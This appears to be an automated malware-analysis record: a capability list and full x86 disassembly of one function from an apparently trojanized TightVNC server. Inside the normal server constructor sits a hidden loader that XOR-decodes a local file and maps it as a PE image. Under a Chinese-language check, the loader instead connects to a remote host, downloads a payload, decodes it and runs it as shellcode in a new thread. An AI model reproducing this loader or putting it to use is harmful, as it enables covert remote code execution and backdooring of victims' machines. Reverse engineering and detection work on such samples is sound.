Function at 0x413870
Capabilities:
Access peb ldr_data
Act as tcp client
Connect tcp socket
Connect udp socket
Execute shellcode via indirect call
Identify system language via api
Initialize winsock library
Read and send data from client to server
Read file on windows
Receive data
Receive data on socket
Resolve function by parsing pe exports
Send data
Send data on socket
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4b75be
mov eax, dword fs:[0]
push eax
sub esp, 0x624
mov eax, dword [0x4fa008]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov edi, ecx
mov dword [ebp - 0x614], edi
mov dword [ebp - 0x18], edi
mov eax, dword [ebp + 8]
mov ecx, 0x4fb5ac
mov dword [ebp - 0x624], edi
mov byte [ebp - 0x615], al
mov dword [edi], vtable.Singleton_class_TvnServer_.0
mov eax, dword [vtable.LocalMutex.0]
mov dword [ebp - 0x61c], edi
call dword [eax + 4]
mov eax, dword [0x4feec0]
test eax, eax
cmove eax, edi
mov dword [0x4feec0], eax
mov dword [ebp - 4], 0
mov ecx, 0x4fb5ac
mov eax, dword [vtable.LocalMutex.0]
call dword [eax + 8]
mov dword [ebp - 4], 1
lea eax, [edi + 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
xorps xmm0, xmm0
movups xmmword [edi + 0xc], xmm0
push eax
movups xmmword [edi + 0x1c], xmm0
movq qword [edi + 0x2c], xmm0
mov dword [edi + 0x28], 0
mov dword [edi + 0x2c], 0
mov dword [edi + 0x30], 0
mov dword [edi + 0xc], vtable.LocalMutex.0
call esi
mov dword [edi + 0xc], vtable.SafeVector_class_TvnServerListener__.0
mov dword [edi + 4], vtable.ConfigReloadListener.0
mov dword [edi + 8], vtable.RfbClientManagerEventListener.0
push dword [ebp + 0x14]
mov byte [ebp - 4], 4
lea ecx, [edi + 0x34]
mov dword [edi], vtable.TvnServer.2.0
mov dword [edi + 4], vtable.TvnServer.1.0
mov dword [edi + 8], vtable.TvnServer.0
call fcn.00405290
lea ecx, [edi + 0x40]
mov byte [ebp - 4], 5
call fcn.0046e990
push dword [ebp + 8]
lea ecx, [edi + 0x78]
mov byte [ebp - 4], 6
call fcn.00468360
lea eax, [edi + 0x184]
mov dword [edi + method.LocalMutex.virtual_0], vtable.LocalMutex.0
push eax
call esi
mov eax, dword [ebp + 8]
mov byte [edi + 0x19c], al
mov dword [edi + method.WinServiceDesktopFactory.virtual_0], vtable.WinServiceDesktopFactory.0
mov dword [edi + method.ApplicationDesktopFactory.virtual_0], vtable.ApplicationDesktopFactory.0
mov byte [ebp - 4], 0xa
mov dword [edi + 0x1a8], 0
mov dword [edi + 0x1ac], 0
mov dword [edi + 0x1b0], 0
add edi, 0x1b4
mov dword [ebp - 0x18], edi
lea esi, [edi + 4]
push 0
mov dword [ebp - 0x18], esi
mov dword [edi], vtable.ExtraRfbServers.0
push 0
mov dword [esi], 0
mov dword [esi + 4], 0
call fcn.0040c210
mov dword [esi], eax
mov word [edi + 0xc], 0
mov ecx, dword [ebp - 0x614]
mov dword [edi + 0x10], vtable.PortMappingContainer.0
add ecx, 0x34
mov dword [edi + 0x14], 0
mov dword [edi + 0x18], 0
mov dword [edi + 0x1c], 0
mov dword [edi + 0x20], ecx
mov eax, dword [ebp + 0x10]
mov byte [ebp - 4], 0xb
mov edi, dword [ebp - 0x614]
push 0x4c6f80
push 0x4c7640
push 0x4ce714
push ecx
mov dword [edi + 0x1d8], eax
mov dword [edi + 0x1dc], 1
call fcn.004054c0
mov eax, dword [vtable.LocalMutex.0]
add esp, 0x10
mov ecx, 0x4fb558
call dword [eax + 4]
mov esi, dword [0x4fee8c]
mov byte [ebp - 4], 0xc
mov ecx, 0x4fb558
mov eax, dword [vtable.LocalMutex.0]
call dword [eax + 8]
mov al, byte [esi + 0xf8]
xor ecx, ecx
test al, al
mov dword [ebp - 0x608], 0
setne cl
add ecx, reloc.WS2_32.dll_accept
mov dword [ebp - 0x60c], ecx
test al, al
je 0x413ac9
mov eax, dword [esi + 0xfc]
test eax, eax
je 0x413ac9
add eax, 0x40
mov dword [ebp - 0x608], eax
mov byte [ebp - 4], 0xd
push 0x1c
mov dword [ebp - method.RegistrySettingsManager.virtual_0], vtable.RegistrySettingsManager.0
mov dword [ebp - 0x430], 0
call fcn.00497c04
add esp, 4
mov dword [ebp - 0x18], eax
push dword [ebp - 0x608]
mov byte [ebp - 4], 0xe
mov ecx, eax
push 1
push str.SoftwareTightVNCServer
push dword [ebp - 0x60c]
call fcn.0041f860
mov dword [ebp - 0x430], eax
lea eax, [ebp - 0x434]
mov byte [ebp - 4], 0xf
push eax
mov ecx, esi
call fcn.004688b0
mov ecx, esi
call fcn.004685f0
mov byte [ebp - 4], 0xb
mov ecx, dword [ebp - 0x430]
mov dword [ebp - method.RegistrySettingsManager.virtual_0], vtable.RegistrySettingsManager.0
test ecx, ecx
je 0x413b49
mov eax, dword [ecx]
push 1
call dword [eax]
mov eax, dword [vtable.LocalMutex.0]
mov ecx, 0x4fb558
call dword [eax + 4]
mov esi, dword [0x4fee8c]
mov byte [ebp - 4], 0x10
mov ecx, 0x4fb558
mov eax, dword [vtable.LocalMutex.0]
call dword [eax + 8]
lea eax, [esi + 0x2c]
mov dword [ebp - method.StringStorage.virtual_0], vtable.StringStorage.0
mov dword [edi + 0x17c], eax
mov dword [ebp - 0x438], 0
mov dword [ebp - 0x434], 0
mov dword [ebp - 0x430], 0
lea eax, [ebp - 0x438]
mov byte [ebp - 4], 0x12
push eax
push 1
mov ecx, eax
call fcn.00403ad0
mov eax, dword [ebp - 0x434]
mov ecx, dword [ebp - 0x438]
sub eax, ecx
sar eax, 1
add eax, eax
push eax
push 0x4cd35c
push ecx
call fcn.0049ae30
add esp, 0xc
mov byte [ebp - 4], 0x13
mov esi, dword [edi + 0x17c]
mov ecx, esi
mov dword [ebp - 0x1c], vtable.AutoLock.0
mov dword [ebp - 0x18], esi
mov eax, dword [esi]
call dword [eax + 4]
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x43c]
mov eax, dword [ebp - 0x43c]
push dword [esi + 0xa0]
call dword [eax + 4]
mov byte [ebp - 4], 0x15
mov ecx, esi
mov eax, dword [esi]
call dword [eax + 8]
mov byte [ebp - 4], 0x13
mov esi, dword [edi + 0x17c]
mov eax, dword [esi + 0xb0]
lea ecx, [esi + 0xb0]
mov dword [ebp - 0x60c], esi
call dword [eax + 4]
mov esi, dword [esi + 0x34]
mov byte [ebp - 4], 0x16
mov ecx, dword [ebp - 0x60c]
add ecx, 0xb0
mov eax, dword [ecx]
call dword [eax + 8]
mov byte [ebp - 4], 0x13
mov ecx, dword [edi + 0x1d8]
push esi
push 0x4c74c8
push dword [ebp - 0x438]
mov eax, dword [ecx]
call dword [eax]
lea ecx, [ebp - 0x438]
mov dword [ebp - method.StringStorage.virtual_0], vtable.StringStorage.0
call fcn.004039a0
mov dword [ebp - 4], 0xb
jmp 0x413c9a
push 0x400
lea eax, [ebp - 0x42c]
push 0
push eax
call fcn.00499150
add esp, 0xc
lea eax, [ebp - 0x42c]
push 0x400
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov esi, eax
lea eax, [edi + 0x34]
push str.Initialize_WinSock
push eax
call fcn.004054f0
movups xmm0, xmmword [str.255.255.255.255]
lea ecx, [ebp - 0x2c]
add esp, 8
lea edx, [ecx + 1]
movups xmmword [ebp - 0x2c], xmm0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x413ce8
sub ecx, edx
cmp ecx, 0xf
jne 0x413d74
mov ecx, dword [ebp - 0x2c]
cmp cl, 0x32
jne 0x413d74
mov eax, ecx
shr eax, 8
cmp al, 0x35
jne 0x413d74
mov eax, ecx
shr eax, 0x10
cmp al, 0x35
jne 0x413d74
shr ecx, 0x18
cmp cl, 0x2e
jne 0x413d74
mov ecx, dword [ebp - 0x28]
cmp cl, 0x32
jne 0x413d74
mov eax, ecx
shr eax, 8
cmp al, 0x35
jne 0x413d74
mov eax, ecx
shr eax, 0x10
cmp al, 0x35
jne 0x413d74
shr ecx, 0x18
cmp cl, 0x2e
jne 0x413d74
mov ecx, dword [ebp - 0x24]
cmp cl, 0x32
jne 0x413d74
mov eax, ecx
shr eax, 8
cmp al, 0x35
jne 0x413d74
mov eax, ecx
shr eax, 0x10
cmp al, 0x35
jne 0x413d74
shr ecx, 0x18
cmp cl, 0x2e
jne 0x413d74
mov ecx, dword [ebp - 0x20]
cmp cl, 0x32
jne 0x413d74
mov eax, ecx
shr eax, 8
cmp al, 0x35
jne 0x413d74
shr ecx, 0x10
cmp cl, al
je 0x413dad
mov ecx, str.C:UsersPublicUpdateexplorer
lea eax, [ebp - 0x42c]
nop
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x413da0
test dl, dl
je 0x413d9c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x413da0
add eax, 2
add ecx, 2
test dl, dl
jne 0x413d80
xor eax, eax
jmp 0x413da5
sbb eax, eax
or eax, 1
test eax, eax
jne 0x41432a
test esi, esi
je 0x4147c8
lea ecx, [ebp - 0x42c]
mov dword [ebp - 0x464], 0
mov dword [ebp - 0x460], 0xf
lea edx, [ecx + 1]
mov byte [ebp - 0x474], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x413de0
sub ecx, edx
lea eax, [ebp - 0x42c]
push ecx
push eax
lea ecx, [ebp - 0x474]
call fcn.00415c80
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0x474]
push dword [ebp - 0x61c]
cmp dword [ebp - 0x460], 0x10
mov esi, dword [ebp - 0x474]
mov edx, dword [ebp - 0x464]
cmovae ecx, esi
push 2
sub esp, 8
call fcn.00415ee0
add esp, 0x10
cmp eax, 0xffffffff
jne 0x413e73
mov eax, dword [ebp - 0x460]
cmp eax, 0x10
jb 0x4147c8
lea ecx, [eax + 1]
mov eax, esi
cmp ecx, 0x1000
jb 0x413e64
mov esi, dword [esi - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4147e8
push ecx
push esi
call fcn.00497c34
add esp, 8
jmp 0x4147c8
lea ecx, [eax + 1]
mov dword [ebp - 0x434], 0
cmp dword [ebp - 0x464], ecx
lea eax, [ebp - 0x474]
mov dword [ebp - 0x430], 0xf
cmovb ecx, dword [ebp - 0x464]
cmp dword [ebp - 0x460], 0x10
push ecx
cmovae eax, esi
mov byte [ebp - 0x444], 0
push eax
lea ecx, [ebp - 0x444]
call fcn.00415c80
lea ecx, [ebp - 0x474]
call fcn.00415bb0
movups xmm0, xmmword [ebp - 0x444]
push ecx
lea edx, [ebp - 0x474]
movups xmmword [ebp - 0x474], xmm0
lea ecx, [ebp - 0x45c]
movq xmm0, qword [ebp - 0x434]
movq qword [ebp - 0x464], xmm0
call fcn.00415db0
push 0x140000
call fcn.0049fea4
add esp, 8
lea ecx, [ebp - 0x45c]
cmp dword [ebp - 0x448], 0x10
mov esi, eax
cmovae ecx, dword [ebp - 0x45c]
push 0
push 0x80
push 3
push 0
push 1
push closesocket
push ecx
call fcn.004a14bc
add esp, 4
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x608], eax
cmp eax, 0xffffffff
jne 0x413fe2
mov edx, dword [ebp - 0x448]
cmp edx, 0x10
jb 0x413f84
mov ecx, dword [ebp - 0x45c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x413f7a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4147ed
push edx
push ecx
call fcn.00497c34
add esp, 8
mov edx, dword [ebp - 0x460]
mov dword [ebp - 0x44c], 0
mov dword [ebp - 0x448], 0xf
mov byte [ebp - 0x45c], 0
cmp edx, 0x10
jb 0x4147c8
mov ecx, dword [ebp - 0x474]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x413fd3
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4147f2
push edx
push ecx
call fcn.00497c34
add esp, 8
jmp 0x4147c8
push 0
lea ecx, [ebp - 0x628]
push ecx
push 0x140000
push esi
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
push dword [ebp - 0x608]
test eax, eax
jne 0x41400d
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x413f4a
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
cmp dword [ebp - 0x628], eax
jbe 0x41402d
nop dword [eax]
xor byte [eax + esi], 0x88
inc eax
cmp eax, dword [ebp - 0x628]
jb 0x414020
mov dword [ebp - 0x1c], 0x905a4d
mov cl, 3
mov eax, dword [ebp - 0x1c]
mov dword [esi], eax
mov byte [esi + 4], cl
mov eax, dword [esi + 0x3c]
mov dword [ebp - 0x610], eax
add eax, esi
push 0x40
push 0x1000
mov dword [ebp - 0x60c], eax
push dword [eax + 0x50]
mov ecx, dword [eax + 0x54]
push 0
mov dword [ebp - 0x608], ecx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
mov eax, dword [ebp - 0x608]
push eax
push esi
push edi
mov dword [ebp - 0x18], edi
call fcn.0049a770
mov edx, dword [ebp - 0x608]
add esp, 0xc
mov eax, edx
and eax, 0x80000fff
jns 0x414098
dec eax
or eax, 0xfffff000
add eax, 1
lea ecx, [edi + 0x1000]
jne 0x4140a2
mov ecx, edi
mov eax, edx
mov dword [ebp - 0x430], 0
cdq
and edx, 0xfff
add eax, edx
mov edx, dword [ebp - 0x608]
and eax, 0xfffff000
add edx, esi
add ecx, eax
mov dword [ebp - 0x608], edx
mov eax, dword [ebp - 0x60c]
xor esi, esi
mov dword [ebp - 0x62c], ecx
cmp si, word [eax + 6]
jae 0x41414c
lea edi, [eax + 0x108]
nop word [eax + eax]
mov esi, dword [edi - 8]
shr esi, 0xc
test dword [edi - 8], 0xfff
je 0x414100
inc esi
push dword [edi]
push edx
push ecx
call fcn.0049a770
mov ecx, dword [ebp - 0x62c]
add esp, 0xc
mov eax, dword [ebp - 0x60c]
mov edx, dword [ebp - 0x608]
add edx, dword [edi]
add edi, 0x28
shl esi, 0xc
movzx eax, word [eax + 6]
add ecx, esi
mov esi, dword [ebp - 0x430]
inc esi
mov dword [ebp - 0x608], edx
mov dword [ebp - 0x62c], ecx
mov dword [ebp - 0x430], esi
cmp esi, eax
jl 0x4140f0
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x610]
lea esi, [edi + 0xc]
mov eax, dword [edi + eax + 0x80]
add esi, eax
mov dword [ebp - 0x430], esi
mov ecx, dword [esi]
test ecx, ecx
je 0x4141db
nop word [eax + eax]
lea eax, [edi + ecx]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [esi + 4]
mov edx, eax
add ecx, edi
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x60c], ecx
mov esi, ecx
mov ecx, dword [ecx]
test ecx, ecx
je 0x4141c6
jns 0x41419c
lea eax, [ecx - 0x80000000]
jmp 0x4141a1
lea eax, [ecx + 2]
add eax, edi
push eax
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, dword [ebp - 0x18]
mov dword [esi], eax
add esi, 4
mov eax, dword [ebp - 0x60c]
add eax, 4
mov dword [ebp - 0x60c], eax
mov ecx, dword [eax]
test ecx, ecx
jne 0x414192
mov esi, dword [ebp - 0x430]
add esi, 0x14
mov dword [ebp - 0x430], esi
mov ecx, dword [esi]
test ecx, ecx
jne 0x414170
mov eax, dword [ebp - 0x610]
mov esi, dword [edi + eax + 0xa0]
add esi, edi
mov ecx, dword [esi + 4]
lea eax, [esi + 4]
mov dword [ebp - 0x430], eax
mov dword [ebp - 0x60c], esi
mov eax, dword [esi]
add eax, ecx
je 0x414268
lea eax, [ecx - 8]
mov edx, 0
shr eax, 1
mov dword [ebp - 0x18], eax
je 0x414248
movzx eax, word [esi + edx*2 + 8]
mov ecx, eax
and ecx, 0xf000
cmp ecx, 0x3000
jne 0x414242
and eax, 0xfff
mov ecx, edi
add eax, dword [esi]
mov esi, dword [ebp - 0x610]
sub ecx, dword [edi + esi + 0x34]
add dword [eax + edi], ecx
mov esi, dword [ebp - 0x60c]
inc edx
cmp edx, dword [ebp - 0x18]
jl 0x414211
mov eax, dword [ebp - 0x430]
add esi, dword [eax]
mov ecx, dword [esi + 4]
lea eax, [esi + 4]
mov dword [ebp - 0x430], eax
mov dword [ebp - 0x60c], esi
mov eax, dword [esi]
add eax, ecx
jne 0x414202
mov eax, dword [ebp - 0x610]
push 0
push 0
push 0
mov eax, dword [edi + eax + 0x28]
add eax, edi
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, dword [ebp - 0x448]
cmp edx, 0x10
jb 0x4142c8
mov ecx, dword [ebp - 0x45c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4142be
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4147ed
push edx
push ecx
call fcn.00497c34
add esp, 8
mov byte [ebp - 4], 0xb
mov edx, dword [ebp - 0x460]
mov dword [ebp - 0x44c], 0
mov dword [ebp - 0x448], 0xf
mov byte [ebp - 0x45c], 0
cmp edx, 0x10
jb 0x4145c8
mov ecx, dword [ebp - 0x474]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x41431b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4147ed
push edx
push ecx
call fcn.00497c34
add esp, 8
jmp 0x4145c8
call dword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
movzx eax, ax
mov ecx, 0x804
cmp ax, cx
je 0x41434b
mov ecx, 0x404
cmp ax, cx
jne 0x4145ce
lea eax, [ebp - 0x604]
mov byte [ebp - 4], 0x19
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 0x610], eax
mov eax, 2
mov word [ebp - 0x454], ax
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
push str.63080
mov dword [ebp - 0x450], eax
call fcn.0049fd30
add esp, 4
push eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x452], ax
lea eax, [ebp - 0x454]
push 0x10
push eax
push dword [ebp - 0x610]
call dword [sym.imp.WS2_32.dll_connect]
push 0
push 1
push 0x4ce7a0
push dword [ebp - 0x610]
call dword [sym.imp.WS2_32.dll_send]
test esi, esi
je 0x4147c8
xor ecx, ecx
test esi, esi
je 0x41447d
cmp esi, 0x40
jb 0x414463
movaps xmm2, xmmword [0x4e1f00]
mov eax, esi
and eax, 0x3f
mov edx, esi
sub edx, eax
nop dword [eax + eax]
movups xmm0, xmmword [ebp + ecx - 0x42c]
movaps xmm1, xmm2
pxor xmm1, xmm0
movups xmmword [ebp + ecx - 0x42c], xmm1
movups xmm0, xmmword [ebp + ecx - 0x41c]
movaps xmm1, xmm2
pxor xmm1, xmm0
movups xmmword [ebp + ecx - 0x41c], xmm1
movups xmm0, xmmword [ebp + ecx - 0x40c]
movaps xmm1, xmm2
pxor xmm1, xmm0
movups xmmword [ebp + ecx - 0x40c], xmm1
movups xmm0, xmmword [ebp + ecx - 0x3fc]
movaps xmm1, xmm2
pxor xmm1, xmm0
movups xmmword [ebp + ecx - 0x3fc], xmm1
add ecx, 0x40
cmp ecx, edx
jb 0x414400
cmp ecx, esi
jae 0x41447d
nop word [eax + eax]
xor byte [ebp + ecx - 0x42c], 0x88
inc ecx
cmp ecx, esi
jb 0x414470
push 0
push esi
mov esi, dword [ebp - 0x610]
lea eax, [ebp - 0x42c]
push eax
push esi
call dword [sym.imp.WS2_32.dll_send]
push 0
push 4
lea eax, [ebp - 0x60c]
mov dword [ebp - 0x60c], 0
push eax
push esi
call dword [sym.imp.WS2_32.dll_recv]
mov edi, dword [ebp - 0x60c]
push 4
push 0x1000
push edi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0
push eax
mov dword [ebp - 0x608], eax
call fcn.00499150
add esp, 0xc
xor esi, esi
nop word [eax + eax]
push 0
mov eax, edi
sub eax, esi
push eax
mov eax, dword [ebp - 0x608]
add eax, esi
push eax
push dword [ebp - 0x610]
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x4147c2
test eax, eax
je 0x4147c2
add esi, eax
cmp esi, edi
jl 0x4144e0
xor eax, eax
test edi, edi
je 0x414589
mov ecx, dword [ebp - 0x608]
cmp edi, 0x40
jb 0x414579
movaps xmm2, xmmword [0x4e1f00]
mov edx, edi
and edx, 0xffffffc0
movups xmm0, xmmword [ecx + eax]
movaps xmm1, xmm2
pxor xmm1, xmm0
movups xmmword [ecx + eax], xmm1
movups xmm0, xmmword [ecx + eax + 0x10]
movaps xmm1, xmm2
pxor xmm1, xmm0
movups xmmword [ecx + eax + 0x10], xmm1
movups xmm0, xmmword [ecx + eax + 0x20]
movaps xmm1, xmm2
pxor xmm1, xmm0
movups xmmword [ecx + eax + 0x20], xmm1
movups xmm0, xmmword [ecx + eax + 0x30]
movaps xmm1, xmm2
pxor xmm1, xmm0
movups xmmword [ecx + eax + 0x30], xmm1
add eax, 0x40
cmp eax, edx
jb 0x414530
cmp eax, edi
jae 0x414589
nop dword [eax]
xor byte [eax + ecx], 0x88
inc eax
cmp eax, edi
jb 0x414580
mov esi, dword [ebp - 0x608]
lea eax, [ebp - 0x18]
push eax
push 0x20
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 0x430]
push eax
push 0
push 0
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call fcn.0049fe9f
mov dword [ebp - 4], 0xb
mov edi, dword [ebp - 0x614]
mov byte [ebp - 4], 0x1b
call fcn.004554c0
mov dword [ebp - 4], 0xb
jmp 0x414613
push 0xe4
call fcn.00497c04
mov edx, eax
add esp, 4
mov dword [ebp - 0x18], edx
movzx ecx, byte [ebp - 0x615]
xor ecx, 1
mov byte [ebp - 4], 0x1d
mov eax, dword [ebp - 0x61c]
lea eax, [eax + ecx*4]
add eax, 0x1a0
push eax
lea eax, [edi + 0x34]
push eax
push dword [ebp + 0xc]
push ecx
mov ecx, edx
call fcn.004178b0
mov byte [ebp - 4], 0xb
lea ecx, [edi + 8]
mov dword [edi + 0x1a8], eax
mov dword [ebp - 0x61c], ecx
lea esi, [eax + 0x14]
mov dword [ebp - 0x1c], vtable.AutoLock.0
mov eax, dword [esi]
mov ecx, esi
mov dword [ebp - 0x18], esi
call dword [eax + 4]
lea edx, [esi + 0x1c]
mov byte [ebp - 4], 0x1e
mov eax, dword [edx]
mov ecx, dword [edx + 4]
cmp eax, ecx
je 0x414699
lea edx, [edi + 8]
cmp dword [eax], edx
lea edx, [esi + 0x1c]
je 0x4146ac
add eax, 4
cmp eax, ecx
jne 0x414688
mov eax, dword [edx + 8]
cmp eax, dword [edx + 4]
je 0x4146b2
lea eax, [edi + 8]
mov dword [ecx], eax
add dword [edx + 4], 4
jmp 0x4146c1
mov byte [ebp - 4], 0x1f
jmp 0x4146c5
lea eax, [ebp - 0x61c]
push eax
push ecx
mov ecx, edx
call fcn.00410ed0
mov byte [ebp - 4], 0x20
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 8]
mov byte [ebp - 4], 0xb
lea eax, [edi + 4]
mov dword [ebp - 0x61c], eax
mov ecx, 0x4fb558
mov eax, dword [vtable.LocalMutex.0]
call dword [eax + 4]
mov esi, dword [0x4fee8c]
mov byte [ebp - 4], 0x21
mov ecx, 0x4fb558
mov eax, dword [vtable.LocalMutex.0]
call dword [eax + 8]
add esi, 4
mov byte [ebp - 4], 0xb
mov ecx, esi
mov dword [ebp - 0x1c], vtable.AutoLock.0
mov dword [ebp - 0x18], esi
mov eax, dword [esi]
call dword [eax + 4]
lea edx, [esi + 0x1c]
mov byte [ebp - 4], 0x22
mov eax, dword [edx]
mov ecx, dword [edx + 4]
cmp eax, ecx
je 0x414736
lea edx, [edi + 4]
cmp dword [eax], edx
lea edx, [esi + 0x1c]
je 0x414749
add eax, 4
cmp eax, ecx
jne 0x414725
mov eax, dword [edx + 8]
cmp eax, dword [edx + 4]
je 0x41474f
lea eax, [edi + 4]
mov dword [ecx], eax
add dword [edx + 4], 4
jmp 0x41475e
mov byte [ebp - 4], 0x23
jmp 0x414762
lea eax, [ebp - 0x61c]
push eax
push ecx
mov ecx, edx
call fcn.00410ed0
mov byte [ebp - 4], 0x24
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 8]
mov byte [ebp - 4], 0xb
lea esi, [edi + 0x180]
mov eax, dword [esi]
mov ecx, esi
mov dword [ebp - method.AutoLock.virtual_0], vtable.AutoLock.0
mov dword [ebp - 0x61c], esi
call dword [eax + 4]
mov ecx, edi
mov byte [ebp - 4], 0x25
call fcn.00415820
push dword [edi + 0x1a8]
movzx eax, byte [edi + 0x19c]
lea ecx, [edi + 0x1b4]
push eax
call fcn.00416dc0
mov ecx, edi
call fcn.00415590
mov byte [ebp - 4], 0x26
mov ecx, esi
mov edx, dword [esi]
call dword [edx + 8]
jmp 0x4147c8
mov edi, dword [ebp - 0x614]
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.004976eb
mov esp, ebp
pop ebp
ret 0x10
call fcn.0049e979
call fcn.0049e979
call fcn.0049e979
int3